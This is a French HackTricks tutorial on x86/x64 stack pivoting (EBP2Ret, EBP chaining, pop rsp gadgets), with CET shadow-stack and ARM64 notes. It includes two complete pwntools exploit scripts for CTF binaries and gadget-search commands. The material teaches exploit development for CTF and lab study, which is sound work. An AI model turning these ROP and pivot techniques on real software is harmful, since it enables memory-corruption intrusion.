Stack Pivoting - EBP2Ret - EBP chaining
Reading time: 13 minutes
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
Informations de base
Cette technique exploite la capacité à manipuler le Base Pointer (EBP/RBP) pour enchaîner l'exécution de plusieurs fonctions grâce à une utilisation soigneuse du pointeur de cadre et de la séquence d'instructions leave; ret
.
Pour rappel, sur x86/x86-64 leave
est équivalent à :
mov rsp, rbp ; mov esp, ebp on x86
pop rbp ; pop ebp on x86
ret
Et comme le EBP/RBP sauvegardé est dans la pile avant le EIP/RIP sauvegardé, il est possible de le contrôler en contrôlant la pile.
Notes
- Sur 64 bits, remplacez EBP→RBP et ESP→RSP. La sémantique est la même.
- Certains compilateurs omettent le pointeur de cadre (voir “EBP pourrait ne pas être utilisé”). Dans ce cas,
leave
pourrait ne pas apparaître et cette technique ne fonctionnera pas.
EBP2Ret
Cette technique est particulièrement utile lorsque vous pouvez modifier le EBP/RBP sauvegardé mais n'avez aucun moyen direct de changer EIP/RIP. Elle exploite le comportement de l'épilogue de fonction.
Si, pendant l'exécution de fvuln
, vous parvenez à injecter un EBP factice dans la pile qui pointe vers une zone de mémoire où se trouve l'adresse de votre shellcode/chaîne ROP (plus 8 octets sur amd64 / 4 octets sur x86 pour tenir compte du pop
), vous pouvez contrôler indirectement RIP. Lorsque la fonction retourne, leave
définit RSP à l'emplacement conçu et le pop rbp
suivant diminue RSP, le faisant pointer effectivement vers une adresse stockée par l'attaquant là-bas. Ensuite, ret
utilisera cette adresse.
Notez comment vous devez connaître 2 adresses : l'adresse où ESP/RSP va aller, et la valeur stockée à cette adresse que ret
va consommer.
Construction de l'Exploit
Tout d'abord, vous devez connaître une adresse où vous pouvez écrire des données/adresses arbitraires. RSP pointera ici et consommera le premier ret
.
Ensuite, vous devez choisir l'adresse utilisée par ret
qui transférera l'exécution. Vous pourriez utiliser :
- Une adresse valide ONE_GADGET.
- L'adresse de
system()
suivie du retour approprié et des arguments (sur x86 : cibleret
=&system
, puis 4 octets de junk, puis&"/bin/sh"
). - L'adresse d'un gadget
jmp esp;
(ret2esp) suivie de shellcode en ligne. - Une chaîne ROP mise en mémoire écrivable.
N'oubliez pas qu'avant l'une de ces adresses dans la zone contrôlée, il doit y avoir de l'espace pour le pop ebp/rbp
de leave
(8B sur amd64, 4B sur x86). Vous pouvez abuser de ces octets pour définir un deuxième EBP factice et garder le contrôle après le retour du premier appel.
Exploit Off-By-One
Il existe une variante utilisée lorsque vous ne pouvez modifier que le byte le moins significatif du EBP/RBP sauvegardé. Dans ce cas, l'emplacement mémoire stockant l'adresse à laquelle sauter avec ret
doit partager les trois/cinq premiers octets avec l'EBP/RBP original afin qu'un écrasement de 1 octet puisse le rediriger. En général, le byte bas (offset 0x00) est augmenté pour sauter aussi loin que possible dans une page/région alignée à proximité.
Il est également courant d'utiliser un RET sled dans la pile et de mettre la véritable chaîne ROP à la fin pour rendre plus probable que le nouveau RSP pointe à l'intérieur du sled et que la chaîne ROP finale soit exécutée.
Chaînage EBP
En plaçant une adresse contrôlée dans l'emplacement EBP
sauvegardé de la pile et un gadget leave; ret
dans EIP/RIP
, il est possible de déplacer ESP/RSP
vers une adresse contrôlée par l'attaquant.
Maintenant, RSP
est contrôlé et la prochaine instruction est ret
. Placez dans la mémoire contrôlée quelque chose comme :
&(next fake EBP)
-> Chargé parpop ebp/rbp
deleave
.&system()
-> Appelé parret
.&(leave;ret)
-> Après la fin desystem
, déplace RSP vers le prochain EBP factice et continue.&("/bin/sh")
-> Argument poursystem
.
De cette manière, il est possible de chaîner plusieurs EBP factices pour contrôler le flux du programme.
C'est comme un ret2lib, mais plus complexe et utile uniquement dans des cas limites.
De plus, ici vous avez un exemple de défi qui utilise cette technique avec une fuite de pile pour appeler une fonction gagnante. Voici la charge utile finale de la page :
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
p.recvuntil('to: ')
buffer = int(p.recvline(), 16)
log.success(f'Buffer: {hex(buffer)}')
LEAVE_RET = 0x40117c
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229
payload = flat(
0x0, # rbp (could be the address of another fake RBP)
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,
elf.sym['winner']
)
payload = payload.ljust(96, b'A') # pad to 96 (reach saved RBP)
payload += flat(
buffer, # Load leaked address in RBP
LEAVE_RET # Use leave to move RSP to the user ROP chain and ret to execute it
)
pause()
p.sendline(payload)
print(p.recvline())
astuce d'alignement amd64 : le System V ABI nécessite un alignement de la pile de 16 octets aux sites d'appel. Si votre chaîne appelle des fonctions comme
system
, ajoutez un gadget d'alignement (par exemple,ret
, ousub rsp, 8 ; ret
) avant l'appel pour maintenir l'alignement et éviter les plantagesmovaps
.
EBP pourrait ne pas être utilisé
Comme expliqué dans ce post, si un binaire est compilé avec certaines optimisations ou avec omission du pointeur de cadre, le EBP/RBP ne contrôle jamais ESP/RSP. Par conséquent, toute exploitation fonctionnant en contrôlant EBP/RBP échouera car le prologue/l'épilogue ne restaure pas à partir du pointeur de cadre.
- Non optimisé / pointeur de cadre utilisé :
push %ebp # save ebp
mov %esp,%ebp # set new ebp
sub $0x100,%esp # increase stack size
.
.
.
leave # restore ebp (leave == mov %ebp, %esp; pop %ebp)
ret # return
- Optimisé / pointeur de cadre omis :
push %ebx # save callee-saved register
sub $0x100,%esp # increase stack size
.
.
.
add $0x10c,%esp # reduce stack size
pop %ebx # restore
ret # return
Sur amd64, vous verrez souvent pop rbp ; ret
au lieu de leave ; ret
, mais si le pointeur de cadre est complètement omis, il n'y a pas d'épilogue basé sur rbp
à pivoter.
Autres façons de contrôler RSP
Gadget pop rsp
Dans cette page vous pouvez trouver un exemple utilisant cette technique. Pour ce défi, il était nécessaire d'appeler une fonction avec 2 arguments spécifiques, et il y avait un gadget pop rsp
et il y a une leak de la pile :
# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
# This version has added comments
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
p.recvuntil('to: ')
buffer = int(p.recvline(), 16) # Leak from the stack indicating where is the input of the user
log.success(f'Buffer: {hex(buffer)}')
POP_CHAIN = 0x401225 # pop all of: RSP, R13, R14, R15, ret
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229 # pop RSI and R15
# The payload starts
payload = flat(
0, # r13
0, # r14
0, # r15
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0, # r15
elf.sym['winner']
)
payload = payload.ljust(104, b'A') # pad to 104
# Start popping RSP, this moves the stack to the leaked address and
# continues the ROP chain in the prepared payload
payload += flat(
POP_CHAIN,
buffer # rsp
)
pause()
p.sendline(payload)
print(p.recvline())
xchg , rsp gadget
pop <reg> <=== return pointer
<reg value>
xchg <reg>, rsp
jmp esp
Vérifiez la technique ret2esp ici :
Trouver rapidement des gadgets de pivot
Utilisez votre outil de recherche de gadgets préféré pour rechercher des primitives de pivot classiques :
leave ; ret
sur des fonctions ou dans des bibliothèquespop rsp
/xchg rax, rsp ; ret
add rsp, <imm> ; ret
(ouadd esp, <imm> ; ret
sur x86)
Exemples :
# Ropper
ropper --file ./vuln --search "leave; ret"
ropper --file ./vuln --search "pop rsp"
ropper --file ./vuln --search "xchg rax, rsp ; ret"
# ROPgadget
ROPgadget --binary ./vuln --only "leave|xchg|pop rsp|add rsp"
Modèle de staging de pivot classique
Une stratégie de pivot robuste utilisée dans de nombreux CTF/exploits :
- Utilisez un petit débordement initial pour appeler
read
/recv
dans une grande région writable (par exemple,.bss
, heap ou mémoire RW mappée) et placez une chaîne ROP complète là-bas. - Retournez dans un gadget de pivot (
leave ; ret
,pop rsp
,xchg rax, rsp ; ret
) pour déplacer RSP vers cette région. - Continuez avec la chaîne mise en scène (par exemple, leak libc, appeler
mprotect
, puisread
shellcode, puis sautez vers celui-ci).
Atténuations modernes qui brisent le pivot de pile (CET/Shadow Stack)
Les CPU et OS x86 modernes déploient de plus en plus CET Shadow Stack (SHSTK). Avec SHSTK activé, ret
compare l'adresse de retour sur la pile normale avec une pile d'ombre protégée par le matériel ; toute discordance soulève une faute de protection de contrôle et tue le processus. Par conséquent, des techniques comme les pivots basés sur EBP2Ret/leave;ret planteront dès que le premier ret
est exécuté à partir d'une pile pivotée.
- Pour des informations de base et des détails plus approfondis, voir :
- Vérifications rapides sur Linux :
# 1) Is the binary/toolchain CET-marked?
readelf -n ./binary | grep -E 'x86.*(SHSTK|IBT)'
# 2) Is the CPU/kernel capable?
grep -E 'user_shstk|ibt' /proc/cpuinfo
# 3) Is SHSTK active for this process?
grep -E 'x86_Thread_features' /proc/$$/status # expect: shstk (and possibly wrss)
# 4) In pwndbg (gdb), checksec shows SHSTK/IBT flags
(gdb) checksec
-
Notes pour les labs/CTF :
-
Certaines distributions modernes activent SHSTK pour les binaires compatibles CET lorsque le matériel et le glibc sont pris en charge. Pour des tests contrôlés dans des VM, SHSTK peut être désactivé au niveau système via le paramètre de démarrage du noyau
nousershstk
, ou activé sélectivement via les réglages glibc au démarrage (voir les références). Ne désactivez pas les atténuations sur les cibles de production. -
Les techniques basées sur JOP/COOP ou SROP peuvent encore être viables sur certaines cibles, mais SHSTK casse spécifiquement les pivots basés sur
ret
. -
Note Windows : Windows 10+ expose le mode utilisateur et Windows 11 ajoute la protection de pile "Hardware-enforced Stack Protection" en mode noyau basée sur des piles d'ombre. Les processus compatibles CET empêchent le pivotement de pile/ROP à
ret
; les développeurs optent pour via CETCOMPAT et des politiques connexes (voir référence).
ARM64
Dans ARM64, le prologue et les épilogues des fonctions ne stockent pas et ne récupèrent pas le registre SP dans la pile. De plus, l'instruction RET
ne retourne pas à l'adresse pointée par SP, mais à l'adresse à l'intérieur de x30
.
Par conséquent, par défaut, en abusant simplement de l'épilogue, vous ne pourrez pas contrôler le registre SP en écrasant certaines données à l'intérieur de la pile. Et même si vous parvenez à contrôler le SP, vous auriez toujours besoin d'un moyen de contrôler le registre x30
.
- prologue
sub sp, sp, 16
stp x29, x30, [sp] // [sp] = x29; [sp + 8] = x30
mov x29, sp // FP pointe vers l'enregistrement de cadre
- épilogue
ldp x29, x30, [sp] // x29 = [sp]; x30 = [sp + 8]
add sp, sp, 16
ret
caution
La façon de réaliser quelque chose de similaire au pivotement de pile dans ARM64 serait de pouvoir contrôler le SP
(en contrôlant un registre dont la valeur est passée à SP
ou parce que pour une raison quelconque SP
prend son adresse de la pile et que nous avons un débordement) et ensuite abuser de l'épilogue pour charger le registre x30
à partir d'un SP
contrôlé et RET
vers celui-ci.
Aussi, sur la page suivante, vous pouvez voir l'équivalent de Ret2esp dans ARM64 :
Références
- https://bananamafia.dev/post/binary-rop-stackpivot/
- https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting
- https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html
- 64 bits, exploitation off by one avec une chaîne rop commençant par un ret sled
- https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html
- 64 bits, pas de relro, canary, nx et pie. Le programme accorde une fuite pour la pile ou pie et un WWW d'un qword. D'abord, obtenez la fuite de la pile et utilisez le WWW pour revenir et obtenir la fuite de pie. Ensuite, utilisez le WWW pour créer une boucle éternelle en abusant des entrées
.fini_array
+ en appelant__libc_csu_fini
(plus d'infos ici). En abusant de cette écriture "éternelle", une chaîne ROP est écrite dans le .bss et finit par l'appeler en pivotant avec RBP. - Documentation du noyau Linux : Control-flow Enforcement Technology (CET) Shadow Stack — détails sur SHSTK,
nousershstk
, les indicateurs/proc/$PID/status
, et l'activation viaarch_prctl
. https://www.kernel.org/doc/html/next/x86/shstk.html - Microsoft Learn : Protection de pile appliquée par le matériel en mode noyau (piles d'ombre CET sur Windows). https://learn.microsoft.com/en-us/windows-server/security/kernel-mode-hardware-stack-protection
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.